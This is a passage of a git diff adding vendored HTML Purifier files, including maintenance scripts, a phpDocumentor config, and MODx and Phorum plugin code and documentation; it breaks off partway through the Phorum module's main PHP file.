diff --git a/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php b/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php
new file mode 100644
index 000000000..857870546
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php
@@ -0,0 +1,37 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Removes trailing whitespace from files.
+ */
+
+chdir(dirname(__FILE__) . '/..');
+$FS = new FSTools();
+
+$files = $FS->globr('.', '{,.}*', GLOB_BRACE);
+foreach ($files as $file) {
+ if (
+ !is_file($file) ||
+ prefix_is('./.git', $file) ||
+ prefix_is('./docs/doxygen', $file) ||
+ postfix_is('.ser', $file) ||
+ postfix_is('.tgz', $file) ||
+ postfix_is('.patch', $file) ||
+ postfix_is('.dtd', $file) ||
+ postfix_is('.ent', $file) ||
+ $file == './library/HTMLPurifier/Lexer/PH5P.php' ||
+ $file == './maintenance/PH5P.php'
+ ) continue;
+ $contents = file_get_contents($file);
+ $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count);
+ if (!$count) continue;
+ echo "$file\n";
+ file_put_contents($file, $result);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/rename-config.php b/vendor/ezyang/htmlpurifier/maintenance/rename-config.php
new file mode 100644
index 000000000..6e59e2a79
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/rename-config.php
@@ -0,0 +1,84 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+require_once '../library/HTMLPurifier.auto.php';
+assertCli();
+
+/**
+ * @file
+ * Renames a configuration directive. This involves renaming the file,
+ * adding an alias, and then regenerating the cache. You still have to
+ * manually go through and fix any calls to the directive.
+ * @warning This script doesn't handle multi-stringhash files.
+ */
+
+$argv = $_SERVER['argv'];
+if (count($argv) < 3) {
+ echo "Usage: {$argv[0]} OldName NewName\n";
+ exit(1);
+}
+
+chdir('../library/HTMLPurifier/ConfigSchema/schema');
+
+$old = $argv[1];
+$new = $argv[2];
+
+if (!file_exists("$old.txt")) {
+ echo "Cannot move undefined configuration directive $old\n";
+ exit(1);
+}
+
+if ($old === $new) {
+ echo "Attempting to move to self, aborting\n";
+ exit(1);
+}
+
+if (file_exists("$new.txt")) {
+ echo "Cannot move to already defined directive $new\n";
+ exit(1);
+}
+
+$file = "$old.txt";
+$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
+$interchange = new HTMLPurifier_ConfigSchema_Interchange();
+$builder->buildFile($interchange, $file);
+$contents = file_get_contents($file);
+
+if (strpos($contents, "\r\n") !== false) {
+ $nl = "\r\n";
+} elseif (strpos($contents, "\r") !== false) {
+ $nl = "\r";
+} else {
+ $nl = "\n";
+}
+
+// replace name with new name
+$contents = str_replace($old, $new, $contents);
+
+if ($interchange->directives[$old]->aliases) {
+ $pos_alias = strpos($contents, 'ALIASES:');
+ $pos_ins = strpos($contents, $nl, $pos_alias);
+ if ($pos_ins === false) $pos_ins = strlen($contents);
+ $contents =
+ substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins);
+ file_put_contents($file, $contents);
+} else {
+ $lines = explode($nl, $contents);
+ $insert = false;
+ foreach ($lines as $n => $line) {
+ if (strncmp($line, '--', 2) === 0) {
+ $insert = $n;
+ break;
+ }
+ }
+ if (!$insert) {
+ $lines[] = "ALIASES: $old";
+ } else {
+ array_splice($lines, $insert, 0, "ALIASES: $old");
+ }
+ file_put_contents($file, implode($nl, $lines));
+}
+
+rename("$old.txt", "$new.txt") || exit(1);
diff --git a/vendor/ezyang/htmlpurifier/maintenance/update-config.php b/vendor/ezyang/htmlpurifier/maintenance/update-config.php
new file mode 100644
index 000000000..2d8a7a9c1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/update-config.php
@@ -0,0 +1,34 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Converts all instances of $config->set and $config->get to the new
+ * format, as described by docs/dev-config-bcbreaks.txt
+ */
+
+$FS = new FSTools();
+chdir(dirname(__FILE__) . '/..');
+$raw_files = $FS->globr('.', '*.php');
+foreach ($raw_files as $file) {
+ $file = substr($file, 2); // rm leading './'
+ if (strpos($file, 'library/standalone/') === 0) continue;
+ if (strpos($file, 'maintenance/update-config.php') === 0) continue;
+ if (strpos($file, 'test-settings.php') === 0) continue;
+ if (substr_count($file, '.') > 1) continue; // rm meta files
+ // process the file
+ $contents = file_get_contents($file);
+ $contents = preg_replace(
+ "#config->(set|get)\('(.+?)', '(.+?)'#",
+ "config->\\1('\\2.\\3'",
+ $contents
+ );
+ if ($contents === '') continue;
+ file_put_contents($file, $contents);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php b/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php
new file mode 100644
index 000000000..4d73c76ae
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php
@@ -0,0 +1,161 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Updates Freshmeat's HTML Purifier with the latest information via XML RPC.
+ */
+
+class XmlRpc_Freshmeat
+{
+
+ const URL = 'http://freshmeat.net/xmlrpc/';
+
+ public $chatty = false;
+
+ public $encodeOptions = array(
+ 'encoding' => 'utf-8',
+ );
+
+ /**
+ * This array defines shortcut method signatures for dealing with simple
+ * XML RPC methods. More complex ones (publish_release) should use the named parameter
+ * syntax.
+ */
+ public $signatures = array(
+ 'login' => array('username', 'password'),
+ 'fetch_branch_list' => array('project_name'),
+ 'fetch_release' => array('project_name', 'branch_name', 'version'),
+ 'withdraw_release' => array('project_name', 'branch_name', 'version'),
+ );
+
+ protected $sid = null;
+
+ /**
+ * @param $username Username to login with
+ * @param $password Password to login with
+ */
+ public function __construct($username = null, $password = null)
+ {
+ if ($username && $password) {
+ $this->login($username, $password);
+ }
+ }
+
+ /**
+ * Performs a raw XML RPC call to self::URL
+ */
+ protected function call($method, $params)
+ {
+ $request = xmlrpc_encode_request($method, $params, $this->encodeOptions);
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, self::URL);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_TIMEOUT, 1);
+ curl_setopt($ch, CURLOPT_HTTPHEADER, array(
+ 'Content-type: text/xml',
+ 'Content-length: ' . strlen($request)
+ ));
+ curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
+ $data = curl_exec($ch);
+ if ($errno = curl_errno($ch)) {
+ throw new Exception("Curl error [$errno]: " . curl_error($ch));
+ } else {
+ curl_close($ch);
+ return xmlrpc_decode($data);
+ }
+ }
+
+ /**
+ * Performs an XML RPC call to Freshmeat.
+ * @param $name Name of method to call, can be methodName or method_name
+ * @param $args Arguments of call, in form array('key1', 'val1', 'key2' ...)
+ */
+ public function __call($name, $args)
+ {
+ $method = $this->camelToUnderscore($name);
+ $params = array();
+ if ($this->sid) $params['SID'] = $this->sid;
+ if (isset($this->signatures[$method])) {
+ for ($i = 0, $c = count($this->signatures[$method]); $i < $c; $i++) {
+ $params[$this->signatures[$method][$i]] = $args[$i];
+ }
+ } else {
+ for ($i = 0, $c = count($args); $i + 1 < $c; $i += 2) {
+ $params[$args[$i]] = $args[$i + 1];
+ }
+ }
+ $result = $this->call($method, $params);
+ switch ($method) {
+ case 'login':
+ $this->sid = $result['SID'];
+ break;
+ case 'logout':
+ $this->sid = null;
+ break;
+ }
+ if ($this->chatty) print_r($result);
+ return $result;
+ }
+
+ /**
+ * Munge methodName to method_name
+ */
+ private function camelToUnderscore($name)
+ {
+ $method = '';
+ for ($i = 0, $c = strlen($name); $i < $c; $i++) {
+ $v = $name[$i];
+ if (ctype_lower($v)) $method .= $v;
+ else $method .= '_' . strtolower($v);
+ }
+ return $method;
+ }
+
+ /**
+ * Automatically logout at end of scope
+ */
+ public function __destruct()
+ {
+ if ($this->sid) $this->logout();
+ }
+
+}
+
+$rpc = new XmlRpc_Freshmeat($argv[1], $argv[2]);
+$rpc->chatty = true;
+
+$project = 'htmlpurifier';
+$branch = 'Default';
+$version = file_get_contents('../VERSION');
+
+$result = $rpc->fetchRelease($project, $branch, $version);
+if (!isset($result['faultCode'])) {
+ echo "Freshmeat release already exists.\n";
+ exit(0);
+}
+
+$changes = strtr(file_get_contents('../WHATSNEW'), array("\r" => '', "\n" => ' '));
+$focus = (int) trim(file_get_contents('../FOCUS'));
+
+if (strlen($changes) > 600) {
+ echo "WHATSNEW entry is too long.\n";
+ exit(1);
+}
+
+$rpc->publishRelease(
+ 'project_name', $project,
+ 'branch_name', $branch,
+ 'version', $version,
+ 'changes', $changes,
+ 'release_focus', $focus,
+ 'url_tgz', "http://htmlpurifier.org/releases/htmlpurifier-$version.tar.gz",
+ 'url_zip', "http://htmlpurifier.org/releases/htmlpurifier-$version.zip",
+ 'url_changelog', "http://htmlpurifier.org/svnroot/htmlpurifier/tags/$version/NEWS"
+);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/phpdoc.ini b/vendor/ezyang/htmlpurifier/phpdoc.ini
new file mode 100644
index 000000000..c4c372353
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/phpdoc.ini
@@ -0,0 +1,102 @@
+;; phpDocumentor parse configuration file
+;;
+;; This file is designed to cut down on repetitive typing on the command-line or web interface
+;; You can copy this file to create a number of configuration files that can be used with the
+;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web
+;; interface will automatically generate a list of .ini files that can be used.
+;;
+;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs
+;;
+;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini
+;;
+;; Copyright 2002, Greg Beaver <cellog@users.sourceforge.net>
+;;
+;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them
+
+[Parse Data]
+;; title of all the documentation
+;; legal values: any string
+title = HTML Purifier API Documentation
+
+;; parse files that start with a . like .bash_profile
+;; legal values: true, false
+hidden = false
+
+;; show elements marked @access private in documentation by setting this to on
+;; legal values: on, off
+parseprivate = off
+
+;; parse with javadoc-like description (first sentence is always the short description)
+;; legal values: on, off
+javadocdesc = on
+
+;; add any custom @tags separated by commas here
+;; legal values: any legal tagname separated by commas.
+;customtags = mytag1,mytag2
+
+;; This is only used by the XML:DocBook/peardoc2 converter
+defaultcategoryname = Documentation
+
+;; what is the main package?
+;; legal values: alphanumeric string plus - and _
+defaultpackagename = HTMLPurifier
+
+;; output any parsing information? set to on for cron jobs
+;; legal values: on
+;quiet = on
+
+;; parse a PEAR-style repository. Do not turn this on if your project does
+;; not have a parent directory named "pear"
+;; legal values: on/off
+;pear = on
+
+;; where should the documentation be written?
+;; legal values: a legal path
+target = docs/phpdoc
+
+;; Which files should be parsed out as special documentation files, such as README,
+;; INSTALL and CHANGELOG? This overrides the default files found in
+;; phpDocumentor.ini (this file is not a user .ini file, but the global file)
+readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS
+
+;; limit output to the specified packages, even if others are parsed
+;; legal values: package names separated by commas
+;packageoutput = package1,package2
+
+;; comma-separated list of files to parse
+;; legal values: paths separated by commas
+;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory
+
+;; comma-separated list of directories to parse
+;; legal values: directory paths separated by commas
+;directory = /path1,/path2,.,..,subdirectory
+;directory = /home/jeichorn/cvs/pear
+directory = .
+
+;; template base directory (the equivalent directory of <installdir>/phpDocumentor)
+;templatebase = /path/to/my/templates
+
+;; directory to find any example files in through @example and {@example} tags
+;examplesdir = /path/to/my/templates
+
+;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore
+;; legal values: any wildcard strings separated by commas
+;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/
+ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf*
+
+sourcecode = on
+
+;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format
+;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib,
+;; HTML:frames:earthli,
+;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de,
+;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli
+;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS
+;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default
+output=HTML:frames:default
+
+;; turn this option on if you want highlighted source code for every file
+;; legal values: on/off
+sourcecode = on
+
+; vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/modx.txt b/vendor/ezyang/htmlpurifier/plugins/modx.txt
new file mode 100644
index 000000000..0763821b5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/modx.txt
@@ -0,0 +1,112 @@
+
+MODx Plugin
+
+MODx <http://www.modxcms.com/> is an open source PHP application framework.
+I first came across them in my referrer logs when tillda asked if anyone
+could implement an HTML Purifier plugin. This forum thread
+<http://modxcms.com/forums/index.php/topic,6604.0.html> eventually resulted
+in the fruition of this plugin that davidm says, "is on top of my favorite
+list." HTML Purifier goes great with WYSIWYG editors!
+
+
+
+1. Credits
+
+PaulGregory wrote the overall structure of the code. I added the
+slashes hack.
+
+
+
+2. Install
+
+First, you need to place HTML Purifier library somewhere. The code here
+assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version
+number).
+
+Log into the manager, and navigate:
+
+Resources > Manage Resources > Plugins tab > New Plugin
+
+Type in a name (probably HTML Purifier), and copy paste this code into the
+textarea:
+
+--------------------------------------------------------------------------------
+$e = &$modx->Event;
+if ($e->name == 'OnBeforeDocFormSave') {
+ global $content;
+
+ include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php';
+ $purifier = new HTMLPurifier();
+
+ static $magic_quotes = null;
+ if ($magic_quotes === null) {
+ // this is an ugly hack because this hook hasn't
+ // had the backslashes removed yet when magic_quotes_gpc is on,
+ // but HTMLPurifier must not have the quotes slashed.
+ $magic_quotes = get_magic_quotes_gpc();
+ }
+
+ if ($magic_quotes) $content = stripslashes($content);
+ $content = $purifier->purify($content);
+ if ($magic_quotes) $content = addslashes($content);
+}
+--------------------------------------------------------------------------------
+
+Then navigate to the System Events tab and check "OnBeforeDocFormSave".
+Save the plugin. HTML Purifier now is integrated!
+
+
+
+3. Making sure it works
+
+You can test HTML Purifier by deliberately putting in crappy HTML and seeing
+whether or not it gets fixed. A better way is to put in something like this:
+
+<p lang="fr">Il est bon</p>
+
+...and seeing whether or not the content comes out as:
+
+<p lang="fr" xml:lang="fr">Il est bon</p>
+
+(lang to xml:lang synchronization is one of the many features HTML Purifier
+has).
+
+
+
+4. Caveat Emptor
+
+This code does not intercept save requests from the QuickEdit plugin, this may
+be added in a later version. It also modifies things on save, so there's a
+slight chance that HTML Purifier may make a boo-boo and accidently mess things
+up (the original version is not saved).
+
+Finally, make sure that MODx is using UTF-8. If you are using, say, a French
+localisation, you may be using Latin-1, if that's the case, configure
+HTML Purifier properly like this:
+
+$config = HTMLPurifier_Config::createDefault();
+$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding
+$purifier = new HTMLPurifier($config);
+
+
+
+5. Known Bugs
+
+'rn' characters sometimes mysteriously appear after purification. We are
+currently investigating this issue. See: <http://htmlpurifier.org/phorum/read.php?3,1866>
+
+
+
+6. See Also
+
+A modified version of Jot 1.1.3 is available, which integrates with HTML
+Purifier. You can check it out here: <http://modxcms.com/forums/index.php/topic,25621.msg161970.html>
+
+
+X. Changelog
+
+2008-06-16
+- Updated code to work with 3.1.0 and later
+- Add Known Bugs and See Also section
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore b/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore
new file mode 100644
index 000000000..8325e0902
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore
@@ -0,0 +1,2 @@
+migrate.php
+htmlpurifier/*
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog b/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog
new file mode 100644
index 000000000..9f939e54a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog
@@ -0,0 +1,27 @@
+Changelog HTMLPurifier : Phorum Mod
+|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
+
+= KEY ====================
+ # Breaks back-compat
+ ! Feature
+ - Bugfix
+ + Sub-comment
+ . Internal change
+==========================
+
+Version 4.0.0 for Phorum 5.2, released July 9, 2009
+# Works only with HTML Purifier 4.0.0
+! Better installation documentation
+- Fixed double encoded quotes
+- Fixed fatal error when migrate.php is blank
+
+Version 3.0.0 for Phorum 5.2, released January 12, 2008
+# WYSIWYG and suppress_message options are now configurable via web
+ interface.
+- Module now compatible with Phorum 5.2, primary bugs were in migration
+ code as well as signature and edit message handling. This module is NOT
+ compatible with Phorum 5.1.
+- Buggy WYSIWYG mode refined
+. AutoFormatParam added to list of default configuration namespaces
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL b/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL
new file mode 100644
index 000000000..23c76fc5c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL
@@ -0,0 +1,84 @@
+
+Install
+ How to install the Phorum HTML Purifier plugin
+
+0. PREREQUISITES
+----------------
+This Phorum module only works on PHP5 and with HTML Purifier 4.0.0
+or later.
+
+1. UNZIP
+--------
+Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder.
+You've already done this step if you're reading this!
+
+2. MOVE
+-------
+Move the htmlpurifier folder to the mods/ folder of your Phorum
+installation, so the directory structure looks like:
+
+phorum/
+ mods/
+ htmlpurifier/
+ INSTALL - this install file
+ info.txt, ... - the module files
+ htmlpurifier/
+
+3. INSTALL HTML PURIFIER
+------------------------
+Download and unzip HTML Purifier <htmlpurifier.org>. Place the contents of
+the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory
+structure will look like:
+
+phorum/
+ mods/
+ htmlpurifier/
+ htmlpurifier/
+ HTMLPurifier.auto.php
+ ... - other files
+ HTMLPurifier/
+
+Advanced users:
+ If you have HTML Purifier installed elsewhere on your server,
+ all you need is an HTMLPurifier.auto.php file in the library folder which
+ includes the HTMLPurifier.auto.php file in your install.
+
+4. MIGRATE
+----------
+If you're setting up a new Phorum installation, all you need to do is create
+a blank migrate.php file in the htmlpurifier module folder (NOT the library
+folder.
+
+If you have an old Phorum installation and was using BBCode,
+copy migrate.bbcode.php to migrate.php. If you were using a different input
+format, follow the instructions in migrate.bbcode.php to create your own custom
+migrate.php file.
+
+Your directory structure should now look like this:
+
+phorum/
+ mods/
+ htmlpurifier/
+ migrate.php
+
+5. ENABLE
+---------
+Navigate to your Phorum admin panel at http://example.com/phorum/admin.php,
+click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and
+turn it On.
+
+6. MIGRATE SIGNATURES
+---------------------
+If you're setting up a new Phorum installation, skip this step.
+
+If you allowed your users to make signatures, navigate to the module settings
+page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod >
+Configure), type in "yes" in the "Confirm" box, and press "Migrate."
+
+ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE!
+
+7. CONFIGURE
+------------
+Configure using Edit settings. See that page for more information.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/README b/vendor/ezyang/htmlpurifier/plugins/phorum/README
new file mode 100644
index 000000000..0524ed39d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/README
@@ -0,0 +1,45 @@
+
+HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way!
+
+This Phorum mod enables HTML posting on Phorum. Under normal circumstances,
+this would cause a huge security risk, but because we are running
+HTML through HTML Purifier, output is guaranteed to be XSS free and
+standards-compliant.
+
+This mod requires HTML input, and previous markup languages need to be
+converted accordingly. Thus, it is vital that you create a 'migrate.php'
+file that works with your installation. If you're using the built-in
+BBCode formatting, simply move migrate.bbcode.php to that place; for
+other markup languages, consult said file for instructions on how
+to adapt it to your needs.
+
+ -- NOTE -------------------------------------------------
+ You can also run this module in parallel with another
+ formatting module; this module attempts to place itself
+ at the end of the filtering chain. However, if any
+ previous modules produce insecure HTML (for instance,
+ a JavaScript email obfuscator) they will get cleaned.
+
+This module will not work if 'migrate.php' is not created, and an improperly
+made migration file may *CORRUPT* Phorum, so please take your time to
+do this correctly. It should go without saying to *BACKUP YOUR DATABASE*
+before attempting anything here. If no migration is necessary, you can
+simply create a blank migrate.php file. HTML Purifier is smart and will
+not re-migrate already processed messages. However, the original code
+is irretrievably lost (we may change this in the future.)
+
+This module will not automatically migrate user signatures, because this
+process may take a long time. After installing the HTML Purifier module and
+then configuring 'migrate.php', navigate to Settings and click 'Migrate
+Signatures' to migrate all user signatures to HTML.
+
+All of HTML Purifier's usual functions are configurable via the mod settings
+page. If you require custom configuration, create config.php file in
+the mod directory that edits a $config variable. Be sure, also, to
+set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a
+WYSIWYG editor (you can do this through a common hook or the web
+configuration form).
+
+Visit HTML Purifier at <http://htmlpurifier.org/>.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php b/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php
new file mode 100644
index 000000000..e047c0b42
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php
@@ -0,0 +1,57 @@
+<?php
+
+if(!defined("PHORUM")) exit;
+
+// default HTML Purifier configuration settings
+$config->set('HTML.Allowed',
+ // alphabetically sorted
+'a[href|title]
+abbr[title]
+acronym[title]
+b
+blockquote[cite]
+br
+caption
+cite
+code
+dd
+del
+dfn
+div
+dl
+dt
+em
+i
+img[src|alt|title|class]
+ins
+kbd
+li
+ol
+p
+pre
+s
+strike
+strong
+sub
+sup
+table
+tbody
+td
+tfoot
+th
+thead
+tr
+tt
+u
+ul
+var');
+$config->set('AutoFormat.AutoParagraph', true);
+$config->set('AutoFormat.Linkify', true);
+$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
+$config->set('Core.AggressivelyFixLt', true);
+$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually
+if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') {
+ $config->set('Core.EscapeNonASCIICharacters', true);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php b/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php
new file mode 100644
index 000000000..f66d8c36c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php
@@ -0,0 +1,316 @@
+<?php
+
+/**
+ * HTML Purifier Phorum Mod. Filter your HTML the Standards-Compliant Way!
+ *
+ * This Phorum mod enables users to post raw HTML into Phorum. But never
+ * fear: with the help of HTML Purifier, this HTML will be beat into
+ * de-XSSed and standards-compliant form, safe for general consumption.
+ * It is not recommended, but possible to run this mod in parallel
+ * with other formatters (in short, please DISABLE the BBcode mod).
+ *
+ * For help migrating from your previous markup language to pure HTML
+ * please check the migrate.bbcode.php file.
+ *
+ * If you'd like to use this with a WYSIWYG editor, make sure that
+ * editor sets $PHORUM['mod_htmlpurifier']['wysiwyg'] to true. Otherwise,
+ * administrators who need to edit other people's comments may be at
+ * risk for some nasty attacks.
+ *
+ * Tested with Phorum 5.2.11.
+ */
+
+// Note: Cache data is base64 encoded because Phorum insists on flinging
+// to the user and expecting it to come back unharmed, newlines and
+// all, which ain't happening. It's slower, it takes up more space, but
+// at least it won't get mutilated
+
+/**
+ * Purifies a data array
+ */
+function phorum_htmlpurifier_format($data)
+{
+ $PHORUM = $GLOBALS["PHORUM"];
+
+ $purifier =& HTMLPurifier::getInstance();
+ $cache_serial = $PHORUM['mod_htmlpurifier']['body_cache_serial'];
+
+ foreach($data as $message_id => $message){
+ if(isset($message['body'])) {
+
+ if ($message_id) {
+ // we're dealing with a real message, not a fake, so
+ // there a number of shortcuts that can be taken
+
+ if (isset($message['meta']['htmlpurifier_light'])) {
+ // format hook was called outside of Phorum's normal
+ // functions, do the abridged purification
+ $data[$message_id]['body'] = $purifier->purify($message['body']);
+ continue;
+ }
+
+ if (!empty($PHORUM['args']['purge'])) {
+ // purge the cache, must be below the following if
+ unset($message['meta']['body_cache']);
+ }
+
+ if (
+ isset($message['meta']['body_cache']) &&
+ isset($message['meta']['body_cache_serial']) &&
+ $message['meta']['body_cache_serial'] == $cache_serial
+ ) {
+ // cached version is present, bail out early
+ $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']);
+ continue;
+ }
+ }
+
+ // migration might edit this array, that's why it's defined
+ // so early
+ $updated_message = array();
+
+ // create the $body variable
+ if (
+ $message_id && // message must be real to migrate
+ !isset($message['meta']['body_cache_serial'])
+ ) {
+ // perform migration
+ $fake_data = array();
+ list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message);
+ $fake_data[$message_id] = $message;
+ $fake_data = phorum_htmlpurifier_migrate($fake_data);
+ $body = $fake_data[$message_id]['body'];
+ $body = str_replace("<phorum break>\n", "\n", $body);
+ $updated_message['body'] = $body; // save it in
+ $body .= $signature . $edit_message; // add it back in
+ } else {
+ // reverse Phorum's pre-processing
+ $body = $message['body'];
+ // order is important
+ $body = str_replace("<phorum break>\n", "\n", $body);
+ $body = str_replace(array('&lt;','&gt;','&amp;', '&quot;'), array('<','>','&','"'), $body);
+ if (!$message_id && defined('PHORUM_CONTROL_CENTER')) {
+ // we're in control.php, so it was double-escaped
+ $body = str_replace(array('&lt;','&gt;','&amp;', '&quot;'), array('<','>','&','"'), $body);
+ }
+ }
+
+ $body = $purifier->purify($body);
+
+ // dynamically update the cache (MUST BE DONE HERE!)
+ // this is inefficient because it's one db call per
+ // cache miss, but once the cache is in place things are
+ // a lot zippier.
+
+ if ($message_id) { // make sure it's not a fake id
+ $updated_message['meta'] = $message['meta'];
+ $updated_message['meta']['body_cache'] = base64_encode($body);
+ $updated_message['meta']['body_cache_serial'] = $cache_serial;
+ phorum_db_update_message($message_id, $updated_message);
+ }
+
+ // must not get overloaded until after we cache it, otherwise
+ // we'll inadvertently change the original text
+ $data[$message_id]['body'] = $body;
+
+ }
+ }
+
+ return $data;
+}
+
+// -----------------------------------------------------------------------
+// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please
+// keep this code in-sync with Phorum
+
+/**
+ * Generates a signature based on a message array
+ */
+function phorum_htmlpurifier_generate_sig($row)
+{
+ $phorum_sig = '';
+ if(isset($row["user"]["signature"])
+ && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){
+ $phorum_sig=trim($row["user"]["signature"]);
+ if(!empty($phorum_sig)){
+ $phorum_sig="\n\n$phorum_sig";
+ }
+ }
+ return $phorum_sig;
+}
+
+/**
+ * Generates an edit message based on a message array
+ */
+function phorum_htmlpurifier_generate_editmessage($row)
+{
+ $PHORUM = $GLOBALS['PHORUM'];
+ $editmessage = '';
+ if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) {
+ $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]);
+ $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage);
+ $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage);
+ $editmessage = "\n\n\n\n$editmessage";
+ }
+ return $editmessage;
+}
+
+// End fragile code
+// -----------------------------------------------------------------------
+
+/**
+ * Removes the signature and edit message from a message
+ * @param $row Message passed by reference
+ */
+function phorum_htmlpurifier_remove_sig_and_editmessage(&$row)
+{
+ $signature = phorum_htmlpurifier_generate_sig($row);
+ $editmessage = phorum_htmlpurifier_generate_editmessage($row);
+ $replacements = array();
+ // we need to remove add <phorum break> as that is the form these
+ // extra bits are in.
+ if ($signature) $replacements[str_replace("\n", "<phorum break>\n", $signature)] = '';
+ if ($editmessage) $replacements[str_replace("\n", "<phorum break>\n", $editmessage)] = '';
+ $row['body'] = strtr($row['body'], $replacements);
+ return array($signature, $editmessage);
+}
+
+/**
+ * Indicate that data is fully HTML and not from migration, invalidate
+ * previous caches
+ * @note This function could generate the actual cache entries, but
+ * since there's data missing that must be deferred to the first read
+ */
+function phorum_htmlpurifier_posting($message)
+{
+ $PHORUM = $GLOBALS["PHORUM"];
+ unset($message['meta']['body_cache']); // invalidate the cache
+ $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial'];
+ return $message;
+}
+
+/**
+ * Overload quoting mechanism to prevent default, mail-style quote from happening
+ */
+function phorum_htmlpurifier_quote($array)
+{
+ $PHORUM = $GLOBALS["PHORUM"];
+ $purifier =& HTMLPurifier::getInstance();
+ $text = $purifier->purify($array[1]);
+ $source = htmlspecialchars($array[0]);
+ return "<blockquote cite=\"$source\">\n$text\n</blockquote>";
+}
+
+/**
